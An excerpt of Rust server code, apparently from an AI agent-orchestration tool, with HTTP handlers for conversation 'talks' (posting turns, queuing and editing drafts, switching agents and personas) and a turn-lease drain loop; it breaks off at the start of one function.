8063 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8064 .turns
8065 .iter()
8066 .map(|turn| {
8067 if turn.messages.is_empty() {
8068 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8069 } else {
8070 turn.messages
8071 .iter()
8072 .map(|message| {
8073 notice_markdown(
8074 message.sender.unwrap_or(talk::Sender::Operator),
8075 &message.body,
8076 message.display.as_ref(),
8077 )
8078 })
8079 .collect()
8080 }
8081 })
8082 .collect();
8083 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8084 .pending_messages
8085 .iter()
8086 .map(|message| {
8087 notice_markdown(
8088 message.sender.unwrap_or(talk::Sender::Operator),
8089 &message.body,
8090 message.display.as_ref(),
8091 )
8092 })
8093 .collect();
8094 for nodes in &mut turn_bodies_md {
8095 references.markdown(nodes);
8096 }
8097 for nodes in turn_messages_md
8098 .iter_mut()
8099 .flatten()
8100 .chain(pending_messages_md.iter_mut())
8101 .flatten()
8102 {
8103 references.markdown(nodes);
8104 }
8105 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8106 let persona_name = persona::find(specs, &talk.persona)
8107 .filter(|p| !p.is_default())
8108 .map(|p| p.name);
8109 let mut avatar_persona = persona::find(specs, &talk.persona)
8110 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8111 if avatar_persona.id != talk.persona
8113 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8114 {
8115 avatar_persona.id.clone_from(&talk.persona);
8116 avatar_persona.icon = None;
8117 }
8118 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8119 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8120 Self {
8121 turn_bodies_md,
8122 turn_messages_md,
8123 pending_messages_md,
8124 thinking,
8125 context,
8126 operator_name,
8127 persona_name,
8128 persona_avatar,
8129 magi_avatar: magi_icon_url(home),
8130 operator_avatar: operator_icon_url(home),
8131 talk,
8132 }
8133 }
8134}
8135
8136fn notice_markdown(
8138 sender: talk::Sender,
8139 body: &str,
8140 display: Option<&crate::prompt::NoticeDisplay>,
8141) -> Option<Vec<md::Node>> {
8142 if sender != talk::Sender::Magi {
8143 return None;
8144 }
8145 let text = if let Some(display) = display {
8146 display.facts.as_str()
8147 } else {
8148 if crate::prompt::is_completion_notice(body)
8151 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8152 {
8153 return None;
8154 }
8155 body.strip_prefix("magi: ").unwrap_or(body)
8156 };
8157 Some(md::to_nodes(text, &md::ImageBase::None))
8158}
8159
8160#[derive(Debug, Serialize)]
8165struct TalkDetailView {
8166 #[serde(flatten)]
8167 view: TalkView,
8168 tasks: Vec<TaskView>,
8169 task_progress: TalkTaskProgress,
8170 roster: Vec<RosterEntry>,
8173 personas: Vec<PersonaEntry>,
8176}
8177
8178#[derive(Debug, Serialize)]
8180struct TalkTaskProgress {
8181 state: &'static str,
8182 total: usize,
8183 done: usize,
8184 counts: std::collections::BTreeMap<&'static str, usize>,
8185 unfinished_ids: Vec<String>,
8186}
8187
8188fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8189 let mut counts = std::collections::BTreeMap::from([
8190 ("queued", 0),
8191 ("running", 0),
8192 ("done", 0),
8193 ("failed", 0),
8194 ("held", 0),
8195 ("blocked", 0),
8196 ("parked", 0),
8197 ]);
8198 let mut unfinished_ids = Vec::new();
8199 for task in tasks {
8200 *counts.entry(task.status.as_str()).or_default() += 1;
8201 if task.status != TaskStatus::Done {
8202 unfinished_ids.push(task.id.clone());
8203 }
8204 }
8205 TalkTaskProgress {
8206 state: if tasks.is_empty() {
8207 "none"
8208 } else if unfinished_ids.is_empty() {
8209 "complete"
8210 } else {
8211 "incomplete"
8212 },
8213 total: tasks.len(),
8214 done: tasks.len() - unfinished_ids.len(),
8215 counts,
8216 unfinished_ids,
8217 }
8218}
8219
8220#[derive(Debug, Serialize)]
8222struct PersonaEntry {
8223 id: String,
8224 name: String,
8225 avatar: String,
8227}
8228
8229#[derive(Debug, Serialize)]
8231struct RosterEntry {
8232 id: String,
8233 kind: AgentKind,
8234 runnable: bool,
8236}
8237
8238async fn talks_list(
8243 State(ui): State<Arc<Ui>>,
8244 Query(q): Query<ListQuery>,
8245) -> ApiResult<Json<Vec<TalkView>>> {
8246 blocking(move || {
8247 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8248 let talks = q.ids.as_ref().map_or_else(
8249 || ui.talks.list(),
8250 |ids| {
8251 ids.split(',')
8252 .filter(|id| plain_record_id(id))
8253 .filter_map(|id| ui.talks.get(id).ok())
8254 .collect()
8255 },
8256 );
8257 let references = if talks.iter().any(id_links::has_references) {
8258 ui.references.get(
8259 &ui.runs,
8260 &ui.queue,
8261 &ui.questions,
8262 &ui.talks,
8263 talks.iter().any(id_links::has_findings),
8264 )
8265 } else {
8266 Arc::new(id_links::IdIndex::default())
8267 };
8268 Ok(Json(
8269 talks
8270 .into_iter()
8271 .filter(|talk| q.contains(&talk.id))
8272 .map(|talk| {
8273 let thinking = ui.is_thinking(&talk.id);
8274 let cfg = configs
8275 .entry(talk.repo.clone())
8276 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8277 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8278 })
8279 .collect(),
8280 ))
8281 })
8282 .await
8283}
8284
8285#[derive(Debug, Default, Deserialize)]
8290#[serde(default)]
8291struct NewTalk {
8292 agent: Option<String>,
8293 repo: Option<PathBuf>,
8294 preferred_agent: Option<serde_json::Value>,
8298 persona: Option<serde_json::Value>,
8299 implementers: Option<serde_json::Value>,
8300}
8301
8302async fn talk_post(
8305 State(ui): State<Arc<Ui>>,
8306 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8307) -> ApiResult<impl IntoResponse> {
8308 let body = match body {
8312 Ok(Json(body)) => body,
8313 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8314 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8315 };
8316 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8317 let cfg = config_for(&repo).await?;
8318 let view = blocking(move || {
8319 let preferred = talk::Preferred {
8320 agent: body
8321 .preferred_agent
8322 .as_ref()
8323 .and_then(|v| v.as_str())
8324 .map(str::to_owned),
8325 persona: body
8326 .persona
8327 .as_ref()
8328 .and_then(|v| v.as_str())
8329 .map(str::to_owned),
8330 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8331 };
8332 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8333 let thinking = ui.is_thinking(&talk.id);
8334 Ok(TalkView::new(talk, thinking, &ui))
8335 })
8336 .await?;
8337 Ok((StatusCode::CREATED, Json(view)))
8338}
8339
8340async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8342 blocking(move || {
8343 let id = resolve_talk(&ui.talks, &id)?;
8344 let talk = ui.talks.get(&id)?;
8345 let thinking = ui.is_thinking(&id);
8346 Ok(Json(TalkView::with_config(
8347 talk,
8348 thinking,
8349 None,
8350 &ui.home,
8351 &ui.references,
8352 )))
8353 })
8354 .await
8355}
8356
8357async fn talk_sections(
8358 State(ui): State<Arc<Ui>>,
8359 Path(id): Path<String>,
8360) -> ApiResult<Json<serde_json::Value>> {
8361 blocking(move || {
8362 let id = resolve_talk(&ui.talks, &id)?;
8363 let talk = ui.talks.get(&id)?;
8364 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8365 let task_progress = talk_task_progress(&tasks);
8366 let tasks: Vec<_> = tasks
8367 .into_iter()
8368 .map(|task| {
8369 serde_json::json!({
8370 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8371 })
8372 })
8373 .collect();
8374 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8375 let roster: Vec<_> = cfg
8376 .as_ref()
8377 .map(|cfg| {
8378 cfg.agents
8379 .iter()
8380 .map(|a| RosterEntry {
8381 id: a.id.clone(),
8382 kind: a.kind,
8383 runnable: agent::installed(a),
8384 })
8385 .collect()
8386 })
8387 .unwrap_or_default();
8388 let specs = cfg
8389 .as_ref()
8390 .map(|cfg| cfg.talk.personas.clone())
8391 .unwrap_or_default();
8392 let personas: Vec<_> = persona::catalog(&specs)
8393 .into_iter()
8394 .map(|p| PersonaEntry {
8395 avatar: avatar_url(&ui.home, &talk.id, &p),
8396 id: p.id,
8397 name: p.name,
8398 })
8399 .collect();
8400 let active_persona = persona::find(&specs, &talk.persona)
8401 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8402 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8403 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8404 Ok(Json(serde_json::json!({
8405 "tasks": tasks, "task_progress": task_progress,
8406 "roster": roster, "personas": personas,
8407 "context": talk::context_usage(&talk, cfg.as_ref()),
8408 "context_for": talk.updated_at,
8409 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8410 "persona_name": persona_name,
8411 "persona_avatar": persona_avatar,
8412 })))
8413 })
8414 .await
8415}
8416
8417async fn talk_detail(
8419 State(ui): State<Arc<Ui>>,
8420 Path(id): Path<String>,
8421) -> ApiResult<Json<TalkDetailView>> {
8422 blocking(move || {
8423 let id = resolve_talk(&ui.talks, &id)?;
8424 let talk = ui.talks.get(&id)?;
8425 let thinking = ui.is_thinking(&talk.id);
8426 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8427 let task_progress = talk_task_progress(&tasks);
8428 let tasks = tasks.into_iter().map(TaskView::from).collect();
8429 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8430 let roster = cfg
8431 .as_ref()
8432 .map(|cfg| {
8433 cfg.agents
8434 .iter()
8435 .map(|a| RosterEntry {
8436 id: a.id.clone(),
8437 kind: a.kind,
8438 runnable: agent::installed(a),
8439 })
8440 .collect()
8441 })
8442 .unwrap_or_default();
8443 let specs = cfg
8444 .as_ref()
8445 .map(|cfg| cfg.talk.personas.clone())
8446 .unwrap_or_default();
8447 let personas = persona::catalog(&specs)
8448 .into_iter()
8449 .map(|p| PersonaEntry {
8450 avatar: avatar_url(&ui.home, &talk.id, &p),
8451 id: p.id,
8452 name: p.name,
8453 })
8454 .collect();
8455 Ok(Json(TalkDetailView {
8456 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8457 tasks,
8458 task_progress,
8459 roster,
8460 personas,
8461 }))
8462 })
8463 .await
8464}
8465
8466#[derive(Debug, Default, Deserialize)]
8472#[serde(default, deny_unknown_fields)]
8473struct NewTalkTurn {
8474 reply_to: Option<talk::ReplyTarget>,
8475 text: String,
8476 attachments: Vec<String>,
8477}
8478
8479#[derive(Debug, Deserialize)]
8480#[serde(deny_unknown_fields)]
8481struct EditTalkPending {
8482 #[serde(default)]
8483 message: Option<usize>,
8484 text: String,
8485 expected_text: String,
8486 expected_attachments: Vec<String>,
8487}
8488
8489#[derive(Debug, Deserialize)]
8490#[serde(deny_unknown_fields)]
8491struct ClearTalkPending {
8492 expected_text: String,
8493 expected_attachments: Vec<String>,
8494}
8495
8496async fn talk_say(
8508 State(ui): State<Arc<Ui>>,
8509 Path(id): Path<String>,
8510 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8511) -> ApiResult<(StatusCode, Json<TalkView>)> {
8512 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8513 if body.text.trim().is_empty() && body.attachments.is_empty() {
8514 return Err(ApiError::bad_request("say something"));
8515 }
8516
8517 let id = {
8518 let ui = Arc::clone(&ui);
8519 let asked = id.clone();
8520 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8521 };
8522 {
8526 let ui = Arc::clone(&ui);
8527 let id = id.clone();
8528 blocking(move || {
8529 let talk = ui.talks.get(&id)?;
8530 if !talk.status.open() {
8531 return Err(ApiError::conflict(format!(
8532 "talk {} is {} and takes no more turns",
8533 talk.short(),
8534 talk.status.as_str()
8535 )));
8536 }
8537 Ok(())
8538 })
8539 .await?;
8540 }
8541
8542 let attachments = {
8547 let ui = Arc::clone(&ui);
8548 let id = id.clone();
8549 let ids = body.attachments.clone();
8550 blocking(move || {
8551 ids.into_iter()
8552 .map(|att_id| {
8553 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8554 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8555 })
8556 })
8557 .collect::<ApiResult<Vec<talk::Attachment>>>()
8558 })
8559 .await?
8560 };
8561
8562 let start = {
8567 let ui = Arc::clone(&ui);
8568 let id = id.clone();
8569 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8570 };
8571 let turn_guard = match start {
8572 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8573 TalkTurnStart::Pending => {
8574 return Err(ApiError::conflict(
8575 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8576 ));
8577 }
8578 TalkTurnStart::Foreign => {
8579 return Err(ApiError::conflict(
8580 "a turn is already running in another process; try again when it has finished",
8581 ));
8582 }
8583 TalkTurnStart::Busy => {
8584 let (tx, rx) = tokio::sync::oneshot::channel();
8600 tokio::spawn({
8601 let ui = Arc::clone(&ui);
8602 let id = id.clone();
8603 let said = body.text.clone();
8604 let reply_to = body.reply_to.clone();
8605 async move {
8606 let written = blocking({
8607 let ui = Arc::clone(&ui);
8608 let id = id.clone();
8609 move || {
8610 let mut talk = ui.talks.get(&id)?;
8611 #[cfg(test)]
8616 if let Some(gate) = ui
8617 .busy_queue_gate
8618 .lock()
8619 .unwrap_or_else(PoisonError::into_inner)
8620 .take()
8621 {
8622 let _ = gate.reached.send(());
8623 let _ = gate.release.recv();
8624 }
8625 if let Err(error) = talk::queue_reply(
8626 &mut talk,
8627 &ui.talks,
8628 &said,
8629 attachments,
8630 reply_to,
8631 ) {
8632 if let Ok(fresh) = ui.talks.get(&id) {
8633 if !fresh.status.open() {
8634 return Err(ApiError::conflict(format!(
8635 "talk {} is {} and takes no more turns",
8636 fresh.short(),
8637 fresh.status.as_str()
8638 )));
8639 }
8640 }
8641 return Err(
8642 if error.to_string().contains("invalid reply target") {
8643 ApiError::bad_request("invalid reply target")
8644 } else {
8645 ApiError::from(error)
8646 },
8647 );
8648 }
8649 let claim = match ui.begin_queued_talk_turn(&id)? {
8660 Some(turn_guard) => {
8661 let (cfg, _) = Config::discover(&talk.repo, None)?;
8662 Some((talk.clone(), cfg, turn_guard))
8663 }
8664 None => None,
8665 };
8666 let thinking = ui.is_thinking(&id);
8667 Ok((TalkView::new(talk, thinking, &ui), claim))
8668 }
8669 })
8670 .await;
8671 let (view, reclaimed) = match written {
8672 Ok(pair) => pair,
8673 Err(e) => {
8674 let _ = tx.send(Err(e));
8679 return;
8680 }
8681 };
8682 let _ = tx.send(Ok(view));
8685 if let Some((talk, cfg, turn_guard)) = reclaimed {
8686 let talks = ui.talks.clone();
8687 drain_loop(talk, talks, cfg, id, turn_guard).await;
8688 }
8689 }
8690 });
8691 let view = rx
8692 .await
8693 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8694 return Ok((StatusCode::ACCEPTED, Json(view)));
8695 }
8696 };
8697
8698 let (talk, cfg) = {
8699 let ui = Arc::clone(&ui);
8700 let id = id.clone();
8701 blocking(move || {
8702 let talk = ui.talks.get(&id)?;
8703 let (cfg, _) = Config::discover(&talk.repo, None)?;
8704 Ok((talk, cfg))
8705 })
8706 .await?
8707 };
8708
8709 let talks = ui.talks.clone();
8710 let (tx, rx) = tokio::sync::oneshot::channel();
8725 tokio::spawn({
8726 let ui = Arc::clone(&ui);
8727 let talks = talks.clone();
8728 let id = id.clone();
8729 let said = body.text.clone();
8730 let reply_to = body.reply_to.clone();
8731 let mut talk = talk.clone();
8732 async move {
8733 let recorded = blocking({
8734 let talks = talks.clone();
8735 move || {
8736 if let Err(error) =
8737 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8738 {
8739 if let Ok(fresh) = talks.get(&talk.id) {
8740 if !fresh.status.open() {
8741 return Err(ApiError::conflict(format!(
8742 "talk {} is {} and takes no more turns",
8743 fresh.short(),
8744 fresh.status.as_str()
8745 )));
8746 }
8747 }
8748 return Err(if error.to_string().contains("invalid reply target") {
8749 ApiError::bad_request("invalid reply target")
8750 } else {
8751 ApiError::from(error)
8752 });
8753 }
8754 Ok((said.trim().to_owned(), talk))
8760 }
8761 })
8762 .await;
8763 let (text, mut talk) = match recorded {
8764 Ok(pair) => pair,
8765 Err(e) => {
8766 let _ = tx.send(Err(e));
8770 return;
8771 }
8772 };
8773 let queued = talk.clone();
8774 let thinking = ui.is_thinking(&id);
8775 let _ = tx.send(Ok((queued, thinking)));
8778
8779 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8780 tracing::warn!("talk {id} turn failed: {e:#}");
8784 }
8785 drain_loop(talk, talks, cfg, id, turn_guard).await;
8788 }
8789 });
8790
8791 let (queued, thinking) = rx
8792 .await
8793 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8794
8795 Ok((
8797 StatusCode::ACCEPTED,
8798 Json(TalkView::new(queued, thinking, &ui)),
8799 ))
8800}
8801
8802async fn talk_pending_resume(
8806 State(ui): State<Arc<Ui>>,
8807 Path(id): Path<String>,
8808) -> ApiResult<(StatusCode, Json<TalkView>)> {
8809 let id = {
8810 let ui = Arc::clone(&ui);
8811 let asked = id.clone();
8812 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8813 };
8814 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8815 return Err(ApiError::conflict(
8816 "a talk turn is already running; the queued draft will be handled by it",
8817 ));
8818 };
8819 let (talk, cfg) = {
8820 let ui = Arc::clone(&ui);
8821 let id = id.clone();
8822 blocking(move || {
8823 let talk = ui.talks.get(&id)?;
8824 if !talk.status.open() {
8825 return Err(ApiError::conflict(format!(
8826 "talk {} is {} and takes no more turns",
8827 talk.short(),
8828 talk.status.as_str()
8829 )));
8830 }
8831 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8832 return Err(ApiError::conflict("there is no queued draft to resume"));
8833 }
8834 let (cfg, _) = Config::discover(&talk.repo, None)?;
8835 Ok((talk, cfg))
8836 })
8837 .await?
8838 };
8839 let view = TalkView::new(talk.clone(), true, &ui);
8840 let talks = ui.talks.clone();
8841 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8842 Ok((StatusCode::ACCEPTED, Json(view)))
8843}
8844
8845async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8861 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8862}
8863
8864async fn settle_settings_turn(
8868 talk: Talk,
8869 talks: Talks,
8870 cfg: Config,
8871 id: String,
8872 turn: TalkTurnGuard,
8873 observed: u64,
8874) -> bool {
8875 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8876 let turns = Arc::clone(&turn.turns);
8877 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8878 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8879 turn.release(&mut live);
8881 return false;
8882 }
8883 }
8884 let (started, settled) = tokio::sync::oneshot::channel();
8885 tokio::spawn(drain_loop_started(
8886 talk,
8887 talks,
8888 cfg,
8889 id,
8890 turn,
8891 Some(started),
8892 ));
8893 settled.await.unwrap_or(false)
8894}
8895
8896async fn drain_loop_started(
8897 mut talk: Talk,
8898 talks: Talks,
8899 cfg: Config,
8900 id: String,
8901 turn: TalkTurnGuard,
8902 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8903) {
8904 let live_set = Arc::clone(&turn.turns);
8905 let mut turn = Some(turn);
8913 loop {
8914 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8915 tracing::warn!("talk {id} lost its turn lease; not draining further");
8918 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8919 if let Some(turn) = turn.take() {
8920 turn.release(&mut live);
8921 }
8922 break;
8923 }
8924 {
8925 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8928 if live.parking {
8929 if let Some(turn) = turn.take() {
8930 turn.release(&mut live);
8931 }
8932 break;
8933 }
8934 }
8935 let observed = live_set
8939 .lock()
8940 .unwrap_or_else(PoisonError::into_inner)
8941 .queued
8942 .get(&id)
8943 .copied()
8944 .unwrap_or(0);
8945 let drained = blocking({
8946 let talks = talks.clone();
8947 let live_set = Arc::clone(&live_set);
8948 move || {
8949 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8954 let result = if live.parking {
8955 Ok(None)
8956 } else {
8957 talk::drain(&mut talk, &talks)
8958 };
8959 drop(live);
8960 Ok((talk, result))
8961 }
8962 })
8963 .await;
8964 let (next_talk, result) = match drained {
8965 Ok(drained) => drained,
8966 Err(e) => {
8967 tracing::warn!(
8968 status = %e.status,
8969 message = %e.message,
8970 "talk {id} could not start queued-text drain"
8971 );
8972 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8973 turn.take()
8974 .expect("held for the whole loop until released here")
8975 .release(&mut live);
8976 break;
8977 }
8978 };
8979 talk = next_talk;
8980 let drained = match result {
8981 Ok(Some(drained)) => drained,
8982 Ok(None) => {
8983 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8984 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8985 continue;
8986 }
8987 turn.take()
8988 .expect("held for the whole loop until released here")
8989 .release(&mut live);
8990 break;
8991 }
8992 Err(e) => {
8993 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8994 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8995 turn.take()
8996 .expect("held for the whole loop until released here")
8997 .release(&mut live);
8998 break;
8999 }
9000 };
9001 if let Some(started) = started.take() {
9002 let _ = started.send(true);
9003 }
9004 let responded = match turn.as_ref() {
9005 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9006 None => Err(anyhow::anyhow!("the turn guard was released")),
9007 };
9008 if let Err(e) = responded {
9009 tracing::warn!("talk {id} turn failed: {e:#}");
9010 }
9011 }
9012 drop(turn);
9013 if let Some(started) = started {
9014 let _ = started.send(false);
9015 }
9016}
9017
9018async fn talk_pending_clear(
9020 State(ui): State<Arc<Ui>>,
9021 Path(id): Path<String>,
9022 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9023) -> ApiResult<Json<TalkView>> {
9024 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9025 blocking(move || {
9026 let id = resolve_talk(&ui.talks, &id)?;
9027 let mut talk = ui.talks.get(&id)?;
9028 if !talk.status.open() {
9029 return Err(ApiError::conflict(format!(
9030 "talk {} is {} and takes no more turns",
9031 talk.short(),
9032 talk.status.as_str()
9033 )));
9034 }
9035 if !talk::clear_pending_if_matches(
9036 &mut talk,
9037 &ui.talks,
9038 &body.expected_text,
9039 &body.expected_attachments,
9040 )? {
9041 return Err(ApiError::conflict(
9042 "queued message changed; reload it before clearing",
9043 ));
9044 }
9045 let thinking = ui.is_thinking(&talk.id);
9046 Ok(Json(TalkView::new(talk, thinking, &ui)))
9047 })
9048 .await
9049}
9050
9051async fn talk_pending_edit(
9055 State(ui): State<Arc<Ui>>,
9056 Path(id): Path<String>,
9057 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9058) -> ApiResult<Json<TalkView>> {
9059 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9060 let (view, reclaimed) = blocking({
9061 let ui = Arc::clone(&ui);
9062 move || {
9063 let id = resolve_talk(&ui.talks, &id)?;
9064 let mut talk = ui.talks.get(&id)?;
9065 if !talk.status.open() {
9066 return Err(ApiError::conflict(format!(
9067 "talk {} is {} and takes no more turns",
9068 talk.short(),
9069 talk.status.as_str()
9070 )));
9071 }
9072 if !talk::edit_pending_message(
9073 &mut talk,
9074 &ui.talks,
9075 &body.text,
9076 &body.expected_text,
9077 &body.expected_attachments,
9078 body.message,
9079 )? {
9080 return Err(ApiError::conflict(
9081 "queued message changed; reload it before editing",
9082 ));
9083 }
9084 let claim = match ui.begin_queued_talk_turn(&id)? {
9085 Some(turn_guard) => {
9086 let (cfg, _) = Config::discover(&talk.repo, None)?;
9087 Some((talk.clone(), cfg, id.clone(), turn_guard))
9088 }
9089 None => None,
9090 };
9091 let thinking = ui.is_thinking(&id);
9092 Ok((TalkView::new(talk, thinking, &ui), claim))
9093 }
9094 })
9095 .await?;
9096 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9097 let talks = ui.talks.clone();
9098 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9099 }
9100 Ok(Json(view))
9101}
9102
9103fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9105 if talk.status.open() {
9106 return Ok(());
9107 }
9108 Err(ApiError::conflict(format!(
9109 "talk {} is {} and takes no more turns",
9110 talk.short(),
9111 talk.status.as_str()
9112 )))
9113}
9114
9115#[derive(Debug, Deserialize)]
9117struct TalkAgent {
9118 agent: String,
9119}
9120
9121async fn talk_agent(
9126 State(ui): State<Arc<Ui>>,
9127 Path(id): Path<String>,
9128 Json(body): Json<TalkAgent>,
9129) -> ApiResult<Json<TalkView>> {
9130 let id = {
9131 let ui = Arc::clone(&ui);
9132 blocking(move || resolve_talk(&ui.talks, &id)).await?
9133 };
9134 let repo = {
9135 let ui = Arc::clone(&ui);
9136 let id = id.clone();
9137 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9138 };
9139 let cfg = config_for(&repo).await?;
9140 {
9142 let ui = Arc::clone(&ui);
9143 let id = id.clone();
9144 let cfg = cfg.clone();
9145 let wanted = body.agent.clone();
9146 blocking(move || {
9147 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9148 .map_err(ApiError::bad_request_from)?;
9149 refuse_if_closed(&ui.talks.get(&id)?)
9150 })
9151 .await?;
9152 }
9153 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9154 return Err(ApiError::conflict(
9155 "a talk turn is running; change the agent once it has answered",
9156 ));
9157 };
9158 let switched = {
9159 let ui = Arc::clone(&ui);
9160 let id = id.clone();
9161 let cfg = cfg.clone();
9162 blocking(move || {
9163 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9164 .map_err(ApiError::bad_request_from)?;
9165 let mut talk = ui.talks.get(&id)?;
9166 if !talk.status.open() {
9167 return Err(ApiError::conflict(format!(
9168 "talk {} is {} and takes no more turns",
9169 talk.short(),
9170 talk.status.as_str()
9171 )));
9172 }
9173 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9174 Ok(talk)
9175 })
9176 .await
9177 };
9178 let observed = ui.queued_generation(&id);
9183 let fresh = {
9184 let ui = Arc::clone(&ui);
9185 let id = id.clone();
9186 blocking(move || Ok(ui.talks.get(&id)?)).await
9187 };
9188 let draining = match fresh {
9189 Ok(talk) => {
9190 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9191 }
9192 Err(_) => false,
9193 };
9194 let talk = switched?;
9195 Ok(Json(TalkView::new(talk, draining, &ui)))
9196}
9197
9198#[derive(Debug, Deserialize)]
9200struct TalkPersona {
9201 persona: String,
9202}
9203
9204async fn talk_persona(
9208 State(ui): State<Arc<Ui>>,
9209 Path(id): Path<String>,
9210 Json(body): Json<TalkPersona>,
9211) -> ApiResult<Json<TalkView>> {
9212 let id = {
9213 let ui = Arc::clone(&ui);
9214 blocking(move || resolve_talk(&ui.talks, &id)).await?
9215 };
9216 let repo = {
9217 let ui = Arc::clone(&ui);
9218 let id = id.clone();
9219 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9220 };
9221 let cfg = config_for(&repo).await?;
9222 {
9224 let ui = Arc::clone(&ui);
9225 let id = id.clone();
9226 let cfg = cfg.clone();
9227 let wanted = body.persona.clone();
9228 blocking(move || {
9229 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9230 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9231 }
9232 refuse_if_closed(&ui.talks.get(&id)?)
9233 })
9234 .await?;
9235 }
9236 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9237 return Err(ApiError::conflict(
9238 "a talk turn is running; change the persona once it has answered",
9239 ));
9240 };
9241 let switched = {
9242 let ui = Arc::clone(&ui);
9243 let id = id.clone();
9244 let cfg = cfg.clone();
9245 blocking(move || {
9246 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9247 return Err(ApiError::bad_request(format!(
9248 "unknown persona `{}`",
9249 body.persona
9250 )));
9251 };
9252 let mut talk = ui.talks.get(&id)?;
9253 if !talk.status.open() {
9254 return Err(ApiError::conflict(format!(
9255 "talk {} is {} and takes no more turns",
9256 talk.short(),
9257 talk.status.as_str()
9258 )));
9259 }
9260 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9261 Ok(talk)
9262 })
9263 .await
9264 };
9265 let observed = ui.queued_generation(&id);
9267 let fresh = {
9268 let ui = Arc::clone(&ui);
9269 let id = id.clone();
9270 blocking(move || Ok(ui.talks.get(&id)?)).await
9271 };
9272 let draining = match fresh {
9273 Ok(talk) => {
9274 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9275 }
9276 Err(_) => false,
9277 };
9278 let talk = switched?;
9279 Ok(Json(TalkView::new(talk, draining, &ui)))
9280}
9281
9282#[derive(Debug, Deserialize)]
9284struct TalkImplementers {
9285 implementers: u8,
9286}
9287
9288async fn talk_implementers(
